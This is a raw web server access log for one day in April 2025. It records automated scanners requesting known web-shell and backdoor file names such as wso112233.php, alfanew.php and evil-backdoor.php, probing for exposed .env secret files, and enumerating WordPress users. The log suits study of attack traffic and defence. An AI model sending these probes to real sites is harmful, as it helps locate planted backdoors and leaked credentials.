13.72.65.229 - - [06/Apr/2025:10:31:53 -0400] "GET /wp-admin/images/wp-signup.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:31:54 -0400] "GET /wp-includes/js/tinymce/ HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:31:54 -0400] "GET /includes/ HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:31:55 -0400] "GET /baja.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:31:56 -0400] "GET /upgrade.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:31:57 -0400] "GET /al.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:31:57 -0400] "GET /wp-includes/js/tinymce/about.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:31:58 -0400] "GET /wp-includes/css/index.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:31:58 -0400] "GET /wp-content/plugins/fix/ HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:31:59 -0400] "GET /cgi-bin/about.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:31:59 -0400] "GET /wp-admin/css/colors/coffee/about.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:32:00 -0400] "GET /css/dist/block-directory/ HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:32:00 -0400] "GET /wp/img/cloud.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:32:01 -0400] "GET /.well-known/acme-challenge/install.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:32:02 -0400] "GET /wp-content/uploads/2023/gncfqygn.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:32:02 -0400] "GET /images/about.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:32:03 -0400] "GET /css/cloud.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:32:03 -0400] "GET /wp-content/ccx/index.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:32:04 -0400] "GET /wp-includes/js/tinymce/plugins/compat3x/css/about.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:32:04 -0400] "GET /wp-content/uploads/2023/05/ HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:32:05 -0400] "GET /wp-content/plugins/seoo/alfa-rex.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:32:06 -0400] "GET /class_api.php HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:32:07 -0400] "GET /assets/vendor/bootstrap/css/ HTTP/1.1" 301 795 "-" "-" 13.72.65.229 - - [06/Apr/2025:10:32:07 -0400] "GET /wp-includes/certificates/ HTTP/1.1" 301 795 "-" "-" 2602:fb54:967:: - - [06/Apr/2025:11:16:23 -0400] "GET /admin.php?520 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5 (.NET CLR 3.5.30729)" 139.59.119.11 - - [06/Apr/2025:12:26:23 -0400] "GET /wp-includes/js/jcrop/Jcrop.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 139.59.119.11 - - [06/Apr/2025:12:26:30 -0400] "GET /wp-content/plugins/index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 139.59.119.11 - - [06/Apr/2025:12:26:35 -0400] "GET /wp-admin/images/index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 139.59.119.11 - - [06/Apr/2025:12:26:41 -0400] "GET /index/function.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 139.59.119.11 - - [06/Apr/2025:12:26:47 -0400] "GET /wp-admin/network/index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 139.59.119.11 - - [06/Apr/2025:12:26:54 -0400] "GET /wp-includes/fonts/about.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 139.99.62.111 - - [06/Apr/2025:12:59:55 -0400] "GET /plugins/filemanager/dialog.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 216.244.66.236 - - [06/Apr/2025:13:02:03 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; DotBot/1.2; +https://opensiteexplorer.org/dotbot; help@moz.com)" 195.20.18.175 - - [06/Apr/2025:13:03:35 -0400] "GET / HTTP/1.1" 301 795 "-" "ALittle Client" 152.42.239.199 - - [06/Apr/2025:13:18:29 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36" 14.215.163.132 - - [06/Apr/2025:13:49:46 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 139.59.119.11 - - [06/Apr/2025:14:01:06 -0400] "GET /heh.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 139.59.119.11 - - [06/Apr/2025:14:01:37 -0400] "GET /wp-content/plugins/view-more/ioxi.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 139.59.119.11 - - [06/Apr/2025:14:02:06 -0400] "GET /wp-content/plugins/erinyani/baxa1.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 45.94.31.147 - - [06/Apr/2025:14:31:56 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36" 216.244.66.236 - - [06/Apr/2025:14:54:20 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; DotBot/1.2; +https://opensiteexplorer.org/dotbot; help@moz.com)" 2602:fa59:5:86a::1 - - [06/Apr/2025:15:01:44 -0400] "GET /wp-admin/network/index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 2602:fa59:5:86a::1 - - [06/Apr/2025:15:02:19 -0400] "GET /wp-admin/js/index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 2602:fa59:5:86a::1 - - [06/Apr/2025:15:02:54 -0400] "GET /wp-admin/images/index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 2602:fa59:5:86a::1 - - [06/Apr/2025:15:03:23 -0400] "GET /wp-admin/css/index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 2602:fa59:5:86a::1 - - [06/Apr/2025:15:03:45 -0400] "GET /wp-includes/SimplePie/Content/Type/index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 2602:fa59:5:86a::1 - - [06/Apr/2025:15:04:09 -0400] "GET /wp-includes/Requests/Auth/index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 2602:fa59:5:86a::1 - - [06/Apr/2025:15:04:41 -0400] "GET /wp-admin/css/colors/index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 2602:fa59:5:86a::1 - - [06/Apr/2025:15:05:25 -0400] "GET /wp-content/languages/index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 2602:fa59:5:86a::1 - - [06/Apr/2025:15:06:06 -0400] "GET /wp-content/upgrade/index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 2602:fa59:5:86a::1 - - [06/Apr/2025:15:06:33 -0400] "GET /wp-content/IXR/index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 13.74.53.111 - - [06/Apr/2025:15:07:03 -0400] "GET /inputs.php HTTP/1.1" 301 795 "-" "-" 13.74.53.111 - - [06/Apr/2025:15:07:05 -0400] "GET /classsmtps.php HTTP/1.1" 301 795 "-" "-" 13.74.53.111 - - [06/Apr/2025:15:07:07 -0400] "GET /wp-blog-header.php HTTP/1.1" 301 795 "-" "-" 13.74.53.111 - - [06/Apr/2025:15:07:09 -0400] "GET /wp-trackback.php HTTP/1.1" 301 795 "-" "-" 13.74.53.111 - - [06/Apr/2025:15:07:10 -0400] "GET /wp-signup.php HTTP/1.1" 301 795 "-" "-" 13.74.53.111 - - [06/Apr/2025:15:07:14 -0400] "GET /wp-comments-post.php HTTP/1.1" 301 795 "-" "-" 13.74.53.111 - - [06/Apr/2025:15:07:16 -0400] "GET /wp-cron.php HTTP/1.1" 301 795 "-" "-" 13.74.53.111 - - [06/Apr/2025:15:07:17 -0400] "GET /wp-load.php HTTP/1.1" 301 795 "-" "-" 13.74.53.111 - - [06/Apr/2025:15:07:18 -0400] "GET /wp-mail.php HTTP/1.1" 301 795 "-" "-" 13.74.53.111 - - [06/Apr/2025:15:07:19 -0400] "GET /edit.php HTTP/1.1" 301 795 "-" "-" 13.74.53.111 - - [06/Apr/2025:15:07:20 -0400] "GET /wp-activate.php HTTP/1.1" 301 795 "-" "-" 13.74.53.111 - - [06/Apr/2025:15:07:26 -0400] "GET /plugins.php HTTP/1.1" 301 795 "-" "-" 13.74.53.111 - - [06/Apr/2025:15:07:27 -0400] "GET /post.php HTTP/1.1" 301 795 "-" "-" 13.74.53.111 - - [06/Apr/2025:15:07:29 -0400] "GET /admin.php HTTP/1.1" 301 795 "-" "-" 13.74.53.111 - - [06/Apr/2025:15:07:32 -0400] "GET /about.php HTTP/1.1" 301 795 "-" "-" 13.74.53.111 - - [06/Apr/2025:15:07:35 -0400] "GET /atomlib.php HTTP/1.1" 301 795 "-" "-" 13.74.53.111 - - [06/Apr/2025:15:07:39 -0400] "GET /css.php HTTP/1.1" 301 795 "-" "-" 13.74.53.111 - - [06/Apr/2025:15:07:44 -0400] "GET /simple.php HTTP/1.1" 301 795 "-" "-" 13.74.53.111 - - [06/Apr/2025:15:07:48 -0400] "GET /log.php HTTP/1.1" 301 795 "-" "-" 13.74.53.111 - - [06/Apr/2025:15:07:50 -0400] "GET /index.php HTTP/1.1" 301 795 "-" "-" 13.74.53.111 - - [06/Apr/2025:15:07:52 -0400] "GET /mail.php HTTP/1.1" 301 795 "-" "-" 13.74.53.111 - - [06/Apr/2025:15:07:56 -0400] "GET /doc.php HTTP/1.1" 301 795 "-" "-" 13.74.53.111 - - [06/Apr/2025:15:07:59 -0400] "GET /bak.php HTTP/1.1" 301 795 "-" "-" 13.74.53.111 - - [06/Apr/2025:15:08:03 -0400] "GET /content.php HTTP/1.1" 301 795 "-" "-" 13.74.53.111 - - [06/Apr/2025:15:08:05 -0400] "GET /upfile.php HTTP/1.1" 301 795 "-" "-" 13.74.53.111 - - [06/Apr/2025:15:08:07 -0400] "GET /wp.php HTTP/1.1" 301 795 "-" "-" 13.74.53.111 - - [06/Apr/2025:15:08:08 -0400] "GET /wp-conflg.php HTTP/1.1" 301 795 "-" "-" 13.74.53.111 - - [06/Apr/2025:15:08:11 -0400] "GET /bypass.php HTTP/1.1" 301 795 "-" "-" 13.74.53.111 - - [06/Apr/2025:15:08:14 -0400] "GET /updates.php HTTP/1.1" 301 795 "-" "-" 13.74.53.111 - - [06/Apr/2025:15:08:17 -0400] "GET /radio.php HTTP/1.1" 301 795 "-" "-" 13.74.53.111 - - [06/Apr/2025:15:08:18 -0400] "GET /xmrlpc.php HTTP/1.1" 301 795 "-" "-" 13.74.53.111 - - [06/Apr/2025:15:08:20 -0400] "GET /ae.php HTTP/1.1" 301 795 "-" "-" 13.74.53.111 - - [06/Apr/2025:15:08:24 -0400] "GET /blog.php HTTP/1.1" 301 795 "-" "-" 13.74.53.111 - - [06/Apr/2025:15:08:26 -0400] "GET /themes.php HTTP/1.1" 301 795 "-" "-" 13.74.53.111 - - [06/Apr/2025:15:08:27 -0400] "GET /ini.php HTTP/1.1" 301 795 "-" "-" 13.74.53.111 - - [06/Apr/2025:15:08:29 -0400] "GET /shell.php HTTP/1.1" 301 795 "-" "-" 13.74.53.111 - - [06/Apr/2025:15:08:30 -0400] "GET /ws.php HTTP/1.1" 301 795 "-" "-" 13.74.53.111 - - [06/Apr/2025:15:08:32 -0400] "GET /dropdown.php HTTP/1.1" 301 795 "-" "-" 13.74.53.111 - - [06/Apr/2025:15:08:34 -0400] "GET /makeasmtp.php HTTP/1.1" 301 795 "-" "-" 13.74.53.111 - - [06/Apr/2025:15:08:36 -0400] "GET /wp-sigunq.php HTTP/1.1" 301 795 "-" "-" 13.74.53.111 - - [06/Apr/2025:15:08:38 -0400] "GET /wso112233.php HTTP/1.1" 301 795 "-" "-" 13.74.53.111 - - [06/Apr/2025:15:08:41 -0400] "GET /alfanew.php HTTP/1.1" 301 795 "-" "-" 13.74.53.111 - - [06/Apr/2025:15:08:43 -0400] "GET /fw.php HTTP/1.1" 301 795 "-" "-" 13.74.53.111 - - [06/Apr/2025:15:08:45 -0400] "GET /install.php HTTP/1.1" 301 795 "-" "-" 13.74.53.111 - - [06/Apr/2025:15:08:46 -0400] "GET /wp-login.php HTTP/1.1" 301 795 "-" "-" 13.74.53.111 - - [06/Apr/2025:15:08:47 -0400] "GET /wp-content/plugins/google-seo-rank/module.php HTTP/1.1" 301 795 "-" "-" 13.74.53.111 - - [06/Apr/2025:15:08:48 -0400] "GET /chosen.php HTTP/1.1" 301 795 "-" "-" 195.191.219.131 - - [06/Apr/2025:15:52:09 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MJ12bot/v2.0.0; http://mj12bot.com/)" 195.191.219.131 - - [06/Apr/2025:15:52:10 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MJ12bot/v2.0.0; http://mj12bot.com/)" 43.153.96.233 - - [06/Apr/2025:17:05:14 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 161.97.95.113 - - [06/Apr/2025:17:09:44 -0400] "GET /054erfgh.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 161.97.95.113 - - [06/Apr/2025:17:09:46 -0400] "GET /wp-content/plugins/css-ready-sel/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 161.97.95.113 - - [06/Apr/2025:17:09:51 -0400] "GET /wp-admin/images/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 161.97.95.113 - - [06/Apr/2025:17:09:55 -0400] "GET /wp-admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 161.97.95.113 - - [06/Apr/2025:17:10:03 -0400] "GET /ynz.PhP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 161.97.95.113 - - [06/Apr/2025:17:10:07 -0400] "GET /wp-admin/user/023wesd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 161.97.95.113 - - [06/Apr/2025:17:10:10 -0400] "GET /wp-includes/shell20211028.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 161.97.95.113 - - [06/Apr/2025:17:10:12 -0400] "GET /wp-log1n.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 161.97.95.113 - - [06/Apr/2025:17:10:21 -0400] "GET /wp-includes/Text/Diff/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 161.97.95.113 - - [06/Apr/2025:17:10:25 -0400] "GET /wp-content/uploads/wso112233.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 161.97.95.113 - - [06/Apr/2025:17:10:26 -0400] "GET /goat.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 161.97.95.113 - - [06/Apr/2025:17:10:35 -0400] "GET /98765rf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 161.97.95.113 - - [06/Apr/2025:17:10:39 -0400] "GET /wp-content/languages/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 161.97.95.113 - - [06/Apr/2025:17:10:42 -0400] "GET /evil-backdoor.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 161.97.95.113 - - [06/Apr/2025:17:10:47 -0400] "GET /go.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 216.244.66.236 - - [06/Apr/2025:17:34:20 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; DotBot/1.2; +https://opensiteexplorer.org/dotbot; help@moz.com)" 89.169.15.201 - - [06/Apr/2025:17:52:59 -0400] "GET /wp-content/plugins/hide-my-wp/view/assets/css/rtl.min.css HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:51.0) Gecko/20100101 Firefox/51.0" 80.76.49.101 - - [06/Apr/2025:18:10:48 -0400] "GET /.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 135.235.152.140 - - [06/Apr/2025:18:14:04 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 172.206.122.170 - - [06/Apr/2025:18:23:31 -0400] "HEAD /wordpress HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 172.206.122.170 - - [06/Apr/2025:18:23:41 -0400] "HEAD / HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 172.206.122.170 - - [06/Apr/2025:18:23:42 -0400] "HEAD /wp HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 172.206.122.170 - - [06/Apr/2025:18:23:44 -0400] "HEAD /bc HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 172.206.122.170 - - [06/Apr/2025:18:23:46 -0400] "HEAD /bk HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 172.206.122.170 - - [06/Apr/2025:18:23:48 -0400] "HEAD /backup HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 172.206.122.170 - - [06/Apr/2025:18:23:50 -0400] "HEAD /old HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 172.206.122.170 - - [06/Apr/2025:18:23:53 -0400] "HEAD /new HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 172.206.122.170 - - [06/Apr/2025:18:23:54 -0400] "HEAD /main HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 172.206.122.170 - - [06/Apr/2025:18:23:56 -0400] "HEAD /home HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 82.165.125.50 - - [06/Apr/2025:18:51:08 -0400] "GET /style.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 45.156.131.19 - - [06/Apr/2025:19:18:47 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.117 Safari/537.36" 45.156.131.18 - - [06/Apr/2025:19:18:47 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.117 Safari/537.36" 193.23.3.90 - - [06/Apr/2025:19:28:39 -0400] "GET /.env HTTP/1.1" 301 795 "-" "python-requests/2.26.0" 193.23.3.90 - - [06/Apr/2025:19:28:40 -0400] "POST / HTTP/1.1" 301 795 "-" "python-requests/2.26.0" 134.122.133.31 - - [06/Apr/2025:19:33:58 -0400] "GET / HTTP/1.1" 301 795 "http://grimslut.com" "msnbot/1.0 (+http://search.msn.com/msnbot.htm\xa1\xb1)" 47.243.71.191 - - [06/Apr/2025:19:56:45 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3399.176 Safari/537.36" 196.251.80.22 - - [06/Apr/2025:20:05:28 -0400] "POST /ALFA_DATA/alfacgiapi/perl.alfa HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 196.251.80.22 - - [06/Apr/2025:20:05:28 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 196.251.80.22 - - [06/Apr/2025:20:05:28 -0400] "POST /wp-plain.php HTTP/1.1" 301 795 "www.google.com" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 196.251.80.22 - - [06/Apr/2025:20:05:28 -0400] "GET /wp-content/themes/seotheme/db.php?u HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 196.251.80.22 - - [06/Apr/2025:20:05:29 -0400] "GET /wp-content/plugins/fix/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 196.251.80.22 - - [06/Apr/2025:20:05:34 -0400] "POST /alfacgiapi/perl.alfa HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 16.16.74.242 - - [06/Apr/2025:20:19:29 -0400] "HEAD /?rest_route=/wp/v2/users HTTP/1.1" 301 0 "https://www.google.com/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:114.0) Gecko/20100101 